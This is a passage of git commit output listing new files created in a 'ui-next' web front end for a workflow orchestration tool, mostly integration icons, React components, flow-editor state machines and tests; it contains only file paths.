create mode 100644 ui-next/public/integrations-icons/gcp_pubsub.svg create mode 100644 ui-next/public/integrations-icons/gemini.svg create mode 100644 ui-next/public/integrations-icons/git.svg create mode 100644 ui-next/public/integrations-icons/github.svg create mode 100644 ui-next/public/integrations-icons/gitlab.svg create mode 100644 ui-next/public/integrations-icons/gmail.svg create mode 100644 ui-next/public/integrations-icons/google-cloud-functions.svg create mode 100644 ui-next/public/integrations-icons/google-cloud-storage.svg create mode 100644 ui-next/public/integrations-icons/google-docs.svg create mode 100644 ui-next/public/integrations-icons/google-drive.svg create mode 100644 ui-next/public/integrations-icons/google-sheets.svg create mode 100644 ui-next/public/integrations-icons/google-slides.svg create mode 100644 ui-next/public/integrations-icons/google_sheets.svg create mode 100644 ui-next/public/integrations-icons/googleads.svg create mode 100644 ui-next/public/integrations-icons/googleanalytics.svg create mode 100644 ui-next/public/integrations-icons/googlecalendar.svg create mode 100644 ui-next/public/integrations-icons/googledrive.svg create mode 100644 ui-next/public/integrations-icons/googlegemini.svg create mode 100644 ui-next/public/integrations-icons/grafana.svg create mode 100644 ui-next/public/integrations-icons/hubspot.svg create mode 100644 ui-next/public/integrations-icons/huggingFace.svg create mode 100644 ui-next/public/integrations-icons/ibm_mq.svg create mode 100644 ui-next/public/integrations-icons/instaclustr.svg create mode 100644 ui-next/public/integrations-icons/intercom.svg create mode 100644 ui-next/public/integrations-icons/jira.svg create mode 100644 ui-next/public/integrations-icons/kafka.svg create mode 100644 ui-next/public/integrations-icons/kafka_confluent.svg create mode 100644 ui-next/public/integrations-icons/kafka_msk.svg create mode 100644 ui-next/public/integrations-icons/kubernetes.svg create mode 100644 ui-next/public/integrations-icons/linear.svg create mode 100644 ui-next/public/integrations-icons/mailgun.svg create mode 100644 ui-next/public/integrations-icons/menuBook.svg create mode 100644 ui-next/public/integrations-icons/mistral.svg create mode 100644 ui-next/public/integrations-icons/mistralai.svg create mode 100644 ui-next/public/integrations-icons/mixpanel.svg create mode 100644 ui-next/public/integrations-icons/mongo.svg create mode 100644 ui-next/public/integrations-icons/mongodb.svg create mode 100644 ui-next/public/integrations-icons/mongovector.svg create mode 100644 ui-next/public/integrations-icons/mysql.svg create mode 100644 ui-next/public/integrations-icons/nats.svg create mode 100644 ui-next/public/integrations-icons/notion.svg create mode 100644 ui-next/public/integrations-icons/okta.svg create mode 100644 ui-next/public/integrations-icons/ollama.svg create mode 100644 ui-next/public/integrations-icons/openAI.svg create mode 100644 ui-next/public/integrations-icons/pagerduty.svg create mode 100644 ui-next/public/integrations-icons/perplexity.svg create mode 100644 ui-next/public/integrations-icons/pgvector.svg create mode 100644 ui-next/public/integrations-icons/pinecone.svg create mode 100644 ui-next/public/integrations-icons/pipedrive.svg create mode 100644 ui-next/public/integrations-icons/postgres.svg create mode 100644 ui-next/public/integrations-icons/private-ai.svg create mode 100644 ui-next/public/integrations-icons/rabbitmq.svg create mode 100644 ui-next/public/integrations-icons/redis.svg create mode 100644 ui-next/public/integrations-icons/relational_db.svg create mode 100644 ui-next/public/integrations-icons/sendgrid.svg create mode 100644 ui-next/public/integrations-icons/sentry.svg create mode 100644 ui-next/public/integrations-icons/slack.svg create mode 100644 ui-next/public/integrations-icons/stripe.svg create mode 100644 ui-next/public/integrations-icons/symphone.svg create mode 100644 ui-next/public/integrations-icons/teams.svg create mode 100644 ui-next/public/integrations-icons/telegram.svg create mode 100644 ui-next/public/integrations-icons/terraform.svg create mode 100644 ui-next/public/integrations-icons/trello.svg create mode 100644 ui-next/public/integrations-icons/twilio.svg create mode 100644 ui-next/public/integrations-icons/vertexAI.svg create mode 100644 ui-next/public/integrations-icons/weaviate.svg create mode 100644 ui-next/public/integrations-icons/wordpress.svg create mode 100644 ui-next/public/integrations-icons/youtube.svg create mode 100644 ui-next/public/integrations-icons/zendesk.svg create mode 100644 ui-next/public/logo.png create mode 100644 ui-next/public/orkes-logo-purple-2x.png create mode 100644 ui-next/public/orkes-logo-purple-inverted-2x.png create mode 100644 ui-next/public/programming-language-icons/python.svg create mode 100644 ui-next/public/robots.txt create mode 100644 ui-next/public/searchIconBg.svg create mode 100644 ui-next/public/wh-icons/github-icon.svg create mode 100644 ui-next/public/wh-icons/microsoft-teams-icon.svg create mode 100644 ui-next/public/wh-icons/send-grid-icon.svg create mode 100644 ui-next/public/wh-icons/slack-icon.svg create mode 100644 ui-next/public/wh-icons/stripe-icon.svg create mode 100644 ui-next/src/commonServices/execution.ts create mode 100644 ui-next/src/commonServices/index.ts create mode 100644 ui-next/src/components/ApiSearchModal.tsx create mode 100644 ui-next/src/components/App.tsx create mode 100644 ui-next/src/components/AutoRefreshButton.tsx create mode 100644 ui-next/src/components/BlockNavigationWithConfirmation.tsx create mode 100644 ui-next/src/components/EmptyPageIntro.tsx create mode 100644 ui-next/src/components/ErrorBoundary.tsx create mode 100644 ui-next/src/components/FeatureDisabledComponent.tsx create mode 100644 ui-next/src/components/FeatureDisabledWrapper.tsx create mode 100644 ui-next/src/components/FlatMapForm/ConductorAutocompleteArrayField.tsx create mode 100644 ui-next/src/components/FlatMapForm/ConductorAutocompleteVariables.tsx create mode 100644 ui-next/src/components/FlatMapForm/ConductorFieldTypeDropdown.tsx create mode 100644 ui-next/src/components/FlatMapForm/ConductorFlatMapForm.tsx create mode 100644 ui-next/src/components/FlatMapForm/ConductorKeyValueInput.tsx create mode 100644 ui-next/src/components/FlatMapForm/ConductorStringOrJsonInput.tsx create mode 100644 ui-next/src/components/FlatMapForm/customFilter.test.ts create mode 100644 ui-next/src/components/FlatMapForm/formOptions.ts create mode 100644 ui-next/src/components/IntegrationIcon.tsx create mode 100644 ui-next/src/components/IntegrationsIcon.tsx create mode 100644 ui-next/src/components/KeyValueTable.tsx create mode 100644 ui-next/src/components/PromptVariables.tsx create mode 100644 ui-next/src/components/ReactJson.tsx create mode 100644 ui-next/src/components/RoleTagChip.tsx create mode 100644 ui-next/src/components/SafariWarning.tsx create mode 100644 ui-next/src/components/StatusBadge.tsx create mode 100644 ui-next/src/components/StatusTagChip.tsx create mode 100644 ui-next/src/components/SubjectSelector/SubjectMultiPicker.tsx create mode 100644 ui-next/src/components/SubjectSelector/SubjectSelector.tsx create mode 100644 ui-next/src/components/SubjectSelector/helpers.ts create mode 100644 ui-next/src/components/SubjectSelector/index.ts create mode 100644 ui-next/src/components/SubjectSelector/types.ts create mode 100644 ui-next/src/components/TagFilter.tsx create mode 100644 ui-next/src/components/WorkflowStatusBadge.tsx create mode 100644 ui-next/src/components/ZoomControlsButton.tsx create mode 100644 ui-next/src/components/features/OnboardingQuiz.tsx create mode 100644 ui-next/src/components/features/agent/Agent.tsx create mode 100644 ui-next/src/components/features/agent/AgentContext.tsx create mode 100644 ui-next/src/components/features/agent/AgentEditorController.tsx create mode 100644 ui-next/src/components/features/agent/agent-types.ts create mode 100644 ui-next/src/components/features/agent/agentAtomsStore.ts create mode 100644 ui-next/src/components/features/agent/helpers.ts create mode 100644 ui-next/src/components/features/agent/useAiContext.ts create mode 100644 ui-next/src/components/features/auth/AuthGuard.tsx create mode 100644 ui-next/src/components/features/auth/AuthProvider.tsx create mode 100644 ui-next/src/components/features/auth/NoAuthProvider/NoAuthProvider.tsx create mode 100644 ui-next/src/components/features/auth/NoAuthProvider/index.ts create mode 100644 ui-next/src/components/features/auth/constants.ts create mode 100644 ui-next/src/components/features/auth/context.ts create mode 100644 ui-next/src/components/features/auth/index.ts create mode 100644 ui-next/src/components/features/auth/silentRefresh.ts create mode 100644 ui-next/src/components/features/auth/tokenManagerJotai.ts create mode 100644 ui-next/src/components/features/auth/types.ts create mode 100644 ui-next/src/components/features/auth/useAuth.ts create mode 100644 ui-next/src/components/features/charts/CacheChart.tsx create mode 100644 ui-next/src/components/features/charts/ErrorsChart.tsx create mode 100644 ui-next/src/components/features/charts/LatencyChart.tsx create mode 100644 ui-next/src/components/features/charts/MetricsChart.tsx create mode 100644 ui-next/src/components/features/charts/RequestsChart.tsx create mode 100644 ui-next/src/components/features/charts/chartUtils.ts create mode 100644 ui-next/src/components/features/charts/index.ts create mode 100644 ui-next/src/components/features/flow/Flow.tsx create mode 100644 ui-next/src/components/features/flow/FlowFullscreen.scss create mode 100644 ui-next/src/components/features/flow/ReaflowOverrides.scss create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/AddTaskSidebar.tsx create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/IntegrationDrillDownContent.tsx create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/QuickAddMenu.tsx create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/helpers.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/iconsForTaskTypes.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/index.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/actions.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/guards.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/hook.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/index.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/machine.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/services.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/state/types.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/supportedTasks.ts create mode 100644 ui-next/src/components/features/flow/components/RichAddTaskMenu/taskGenerator.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/CustomEdgeButton.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/CustomLabel.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/CustomNode.jsx create mode 100644 ui-next/src/components/features/flow/components/graphs/CustomPort.jsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/PanAndZoomProvider.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/PanAndZoomWrapper.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/SearchBox.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/ZoomControls.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/constants.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/icons/DragNDrop.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/icons/Home.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/icons/Minus.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/icons/Plus.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/icons/Search.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/index.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/actions.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/context.tsx create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/helpers.test.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/helpers.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/hook.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/index.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/machine.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/PanAndZoomWrapper/state/types.ts create mode 100644 ui-next/src/components/features/flow/components/graphs/index.ts create mode 100644 ui-next/src/components/features/flow/components/shapes/DecisionOperator.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/DoWhileTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/DynamicTasksCards.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/StarShape.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/SubWorkflowTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/SwitchJoinPseudoTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/AddPathButton.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/CardAttemptsBadge.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/CardIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/CardLabel.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/CardStatusBadge.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/DeleteButton.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/DynamicTask.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/EventTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/ForkJoinDynamicTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/HTTPPollTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/HTTPTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/INLINETask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/JDBCTask.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/JSONJQTransformTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/KAFKATask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/SimpleTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/StartWorkflowTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/SwitchAdd.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/TaskCard.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/WaitTaskInfo.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/helpers.test.ts create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/helpers.ts create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Buildings.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/BusinessRule.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/CheckIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/DeleteIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/DynamicFanout.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/DynamicFork.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Event.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/ExclamationCircleIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/ForkIcon.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/ForkJoinIcon.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/GetDocument.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/GetWorkflow.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Http.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/HttpPoll.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Inline.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Json.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Kafka.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmChatComplete.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmGenerateEmbeddings.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmGetEmbeddings.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmIndexDocument.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmIndexText.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmSearchIndex.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmStoreEmbeddings.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LlmTextComplete.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/LoopIcon.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/MCPIcon.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/MergeIcon.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/MinusIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/OpsGenie.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/PlusIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/QueryProcessor.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Sendgrid.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Simple.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/StackIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/SubWorkflow.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Switch.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Terminate.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/TerminateWorkFlow.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/UpdateSecret.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/UpdateTaskIcon.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Variable.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Wait.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/WaitForWebhook.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/WarningIcon.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/WorkFlow.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/Worker.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskCard/icons/types.ts create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskDescription.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskShape/Shape.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskShape/TaskShape.tsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskShape/index.ts create mode 100644 ui-next/src/components/features/flow/components/shapes/TaskSummary.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/TerminalTask.jsx create mode 100644 ui-next/src/components/features/flow/components/shapes/styles.ts create mode 100644 ui-next/src/components/features/flow/components/shapes/testDiagrams.js create mode 100644 ui-next/src/components/features/flow/dragDrop/DraggableOverlay.tsx create mode 100644 ui-next/src/components/features/flow/dragDrop/Handle.tsx create mode 100644 ui-next/src/components/features/flow/dragDrop/boxCollision.ts create mode 100644 ui-next/src/components/features/flow/dragDrop/hooks.ts create mode 100644 ui-next/src/components/features/flow/dragDrop/index.ts create mode 100644 ui-next/src/components/features/flow/nodes/constants.js create mode 100644 ui-next/src/components/features/flow/nodes/index.js create mode 100644 ui-next/src/components/features/flow/nodes/layoutTestData.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/common.test.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/common.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/constants.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/core.test.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/core.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/crumbs.test.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/crumbs.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/doWhile.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/edgeMapper.test.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/edgeMapper.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/forkJoin.test.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/forkJoin.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/forkJoinDynamic.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/index.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/join.test.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/join.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/layout.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/ports.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/predicates.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/subWorkflow.test.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/subWorkflow.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/switch.test.js create mode 100644 ui-next/src/components/features/flow/nodes/mapper/switch.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/terminal.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/terminate.ts create mode 100644 ui-next/src/components/features/flow/nodes/mapper/types.ts create mode 100644 ui-next/src/components/features/flow/state/FlowActorContext.tsx create mode 100644 ui-next/src/components/features/flow/state/action.ts create mode 100644 ui-next/src/components/features/flow/state/context.tsx create mode 100644 ui-next/src/components/features/flow/state/guards.ts create mode 100644 ui-next/src/components/features/flow/state/helpers.js create mode 100644 ui-next/src/components/features/flow/state/hook.ts create mode 100644 ui-next/src/components/features/flow/state/index.ts create mode 100644 ui-next/src/components/features/flow/state/machine.ts create mode 100644 ui-next/src/components/features/flow/state/selectors.ts create mode 100644 ui-next/src/components/features/flow/state/service.ts create mode 100644 ui-next/src/components/features/flow/state/types.ts create mode 100644 ui-next/src/components/features/flow/testUtils.js create mode 100644 ui-next/src/components/features/flow/theme.ts create mode 100644 ui-next/src/components/features/getStartedSample/GetStartedSample.tsx create mode 100644 ui-next/src/components/features/getStartedSample/components/CodeSnippet.tsx create mode 100644 ui-next/src/components/features/getStartedSample/types.ts create mode 100644 ui-next/src/components/features/search/SearchEverything.tsx create mode 100644 ui-next/src/components/features/search/SearchWrapper.tsx create mode 100644 ui-next/src/components/features/search/state/actions.ts create mode 100644 ui-next/src/components/features/search/state/helpers.test.ts create mode 100644 ui-next/src/components/features/search/state/helpers.ts create mode 100644 ui-next/src/components/features/search/state/hook.ts create mode 100644 ui-next/src/components/features/search/state/index.ts create mode 100644 ui-next/src/components/features/search/state/machine.ts create mode 100644 ui-next/src/components/features/search/state/services.ts create mode 100644 ui-next/src/components/features/search/state/types.ts create mode 100644 ui-next/src/components/features/tags/AddTagDialog.tsx create mode 100644 ui-next/src/components/features/tags/ReplaceTagsInput.tsx create mode 100644 ui-next/src/components/features/tags/tagUtils.ts create mode 100644 ui-next/src/components/features/testTask/TestTask.tsx create mode 100644 ui-next/src/components/features/testTask/index.ts create mode 100644 ui-next/src/components/icons/AddIcon.tsx create mode 100644 ui-next/src/components/icons/AnnouncementIcon.tsx create mode 100644 ui-next/src/components/icons/ArrowDownIcon.tsx create mode 100644 ui-next/src/components/icons/ArrowUpIcon.tsx create mode 100644 ui-next/src/components/icons/ChatIcon.tsx create mode 100644 ui-next/src/components/icons/CircleCheckIcon.tsx create mode 100644 ui-next/src/components/icons/CopyIcon.tsx create mode 100644 ui-next/src/components/icons/DatetimeIcon.tsx create mode 100644 ui-next/src/components/icons/DocsIcon.tsx create mode 100644 ui-next/src/components/icons/DoubleArrowLeftIcon.tsx create mode 100644 ui-next/src/components/icons/DoubleArrowRightIcon.tsx create mode 100644 ui-next/src/components/icons/DownloadIcon.tsx create mode 100644 ui-next/src/components/icons/DropdownIcon.tsx create mode 100644 ui-next/src/components/icons/EnterIcon.tsx create mode 100644 ui-next/src/components/icons/ExitIcon.tsx create mode 100644 ui-next/src/components/icons/ExpandIcon.tsx create mode 100644 ui-next/src/components/icons/FilterIcon.tsx create mode 100644 ui-next/src/components/icons/InfoIcon.tsx create mode 100644 ui-next/src/components/icons/NewIntegration.tsx create mode 100644 ui-next/src/components/icons/OpenIcon.tsx create mode 100644 ui-next/src/components/icons/PlayIcon.tsx create mode 100644 ui-next/src/components/icons/PythonIcon.tsx create mode 100644 ui-next/src/components/icons/RefreshIcon.tsx create mode 100644 ui-next/src/components/icons/RequestACallIcon.tsx create mode 100644 ui-next/src/components/icons/ResetIcon.tsx create mode 100644 ui-next/src/components/icons/RunIcon.tsx create mode 100644 ui-next/src/components/icons/Save.tsx create mode 100644 ui-next/src/components/icons/SaveIcon.tsx create mode 100644 ui-next/src/components/icons/SearchIcon.tsx create mode 100644 ui-next/src/components/icons/ShowViewIcon.tsx create mode 100644 ui-next/src/components/icons/TestIcon.tsx create mode 100644 ui-next/src/components/icons/TimeIcon.tsx create mode 100644 ui-next/src/components/icons/TrashIcon.tsx create mode 100644 ui-next/src/components/icons/UnlockIcon.tsx create mode 100644 ui-next/src/components/icons/XCloseIcon.tsx create mode 100644 ui-next/src/components/index.ts create mode 100644 ui-next/src/components/inputs/AdvancedSearchFieldPopper.tsx create mode 100644 ui-next/src/components/inputs/ConductorNameVersionField.tsx create mode 100644 ui-next/src/components/inputs/ConductorUpdateTaskFromEvent.tsx create mode 100644 ui-next/src/components/integrationIconMap.ts create mode 100644 ui-next/src/components/layout/SectionHeader.tsx create mode 100644 ui-next/src/components/layout/SideAndTopBarsLayout.tsx create mode 100644 ui-next/src/components/layout/header/AnnouncementBanner.tsx create mode 100644 ui-next/src/components/layout/header/ButtonLinks.tsx create mode 100644 ui-next/src/components/layout/header/bannerUtils.ts create mode 100644 ui-next/src/components/layout/section/ConductorSectionHeader.tsx create mode 100644 ui-next/src/components/providers/messageContext/MessageContext.tsx create mode 100644 ui-next/src/components/providers/messageContext/MessageProvider.tsx create mode 100644 ui-next/src/components/providers/messageContext/index.ts create mode 100644 ui-next/src/components/providers/sidebar/BaseSubMenu.tsx create mode 100644 ui-next/src/components/providers/sidebar/ClosedLogo.tsx create mode 100644 ui-next/src/components/providers/sidebar/HotKeysButton.tsx create mode 100644 ui-next/src/components/providers/sidebar/OpenedLogo.tsx create mode 100644 ui-next/src/components/providers/sidebar/RunWorkflowButton.tsx create mode 100644 ui-next/src/components/providers/sidebar/Sidebar.tsx create mode 100644 ui-next/src/components/providers/sidebar/SidebarFooter.tsx create mode 100644 ui-next/src/components/providers/sidebar/SidebarHeader.tsx create mode 100644 ui-next/src/components/providers/sidebar/SidebarItem.tsx create mode 100644 ui-next/src/components/providers/sidebar/SidebarMenu.tsx create mode 100644 ui-next/src/components/providers/sidebar/SidebarToggleButton.tsx create mode 100644 ui-next/src/components/providers/sidebar/SidebarVersionBlock.tsx create mode 100644 ui-next/src/components/providers/sidebar/SubMenu.tsx create mode 100644 ui-next/src/components/providers/sidebar/UiSidebar.tsx create mode 100644 ui-next/src/components/providers/sidebar/UserInfo.tsx create mode 100644 ui-next/src/components/providers/sidebar/__tests__/sidebarCoreItems.test.tsx create mode 100644 ui-next/src/components/providers/sidebar/constants.ts create mode 100644 ui-next/src/components/providers/sidebar/context/SidebarContext.tsx create mode 100644 ui-next/src/components/providers/sidebar/context/SidebarContextProvider.tsx create mode 100644 ui-next/src/components/providers/sidebar/createSidebar.ts create mode 100644 ui-next/src/components/providers/sidebar/hooks/usePendingTasksCount.ts create mode 100644 ui-next/src/components/providers/sidebar/hooks/useSidebarHover.ts create mode 100644 ui-next/src/components/providers/sidebar/index.ts create mode 100644 ui-next/src/components/providers/sidebar/sidebarCoreItems.tsx create mode 100644 ui-next/src/components/providers/sidebar/styles.ts create mode 100644 ui-next/src/components/providers/sidebar/types.ts create mode 100644 ui-next/src/components/react-hook-form/ReactHookFormFlatMapForm.tsx create mode 100644 ui-next/src/components/react-hook-form/ReactHookFormIdempotencyForm.test.tsx create mode 100644 ui-next/src/components/react-hook-form/ReactHookFormIdempotencyForm.tsx create mode 100644 ui-next/src/components/react-hook-form/ReactHookFormNameVersionField.test.tsx create mode 100644 ui-next/src/components/react-hook-form/ReactHookFormNameVersionField.tsx create mode 100644 ui-next/src/components/ui/ActionAlert.tsx create mode 100644 ui-next/src/components/ui/ArrowBox.tsx create mode 100644 ui-next/src/components/ui/CenteredSpinner.tsx create mode 100644 ui-next/src/components/ui/ClipboardCopy.tsx create mode 100644 ui-next/src/components/ui/CodeSnippet.tsx create mode 100644 ui-next/src/components/ui/ConductorSlider.tsx create mode 100644 ui-next/src/components/ui/ConductorSliderStateless.tsx create mode 100644 ui-next/src/components/ui/ConductorTooltip.tsx create mode 100644 ui-next/src/components/ui/DataTable/ColumnSelector.tsx create mode 100644 ui-next/src/components/ui/DataTable/DataTable.tsx create mode 100644 ui-next/src/components/ui/DataTable/Filter.tsx create mode 100644 ui-next/src/components/ui/DataTable/QuickSearch.tsx create mode 100644 ui-next/src/components/ui/DataTable/TableRefreshButton.tsx create mode 100644 ui-next/src/components/ui/DataTable/helpers.test.ts create mode 100644 ui-next/src/components/ui/DataTable/helpers.ts create mode 100644 ui-next/src/components/ui/DataTable/index.ts create mode 100644 ui-next/src/components/ui/DataTable/state/actions.ts create mode 100644 ui-next/src/components/ui/DataTable/state/guards.ts create mode 100644 ui-next/src/components/ui/DataTable/state/index.ts create mode 100644 ui-next/src/components/ui/DataTable/state/machine.ts create mode 100644 ui-next/src/components/ui/DataTable/state/services.ts create mode 100644 ui-next/src/components/ui/DataTable/state/types.ts create mode 100644 ui-next/src/components/ui/DataTable/styles.ts create mode 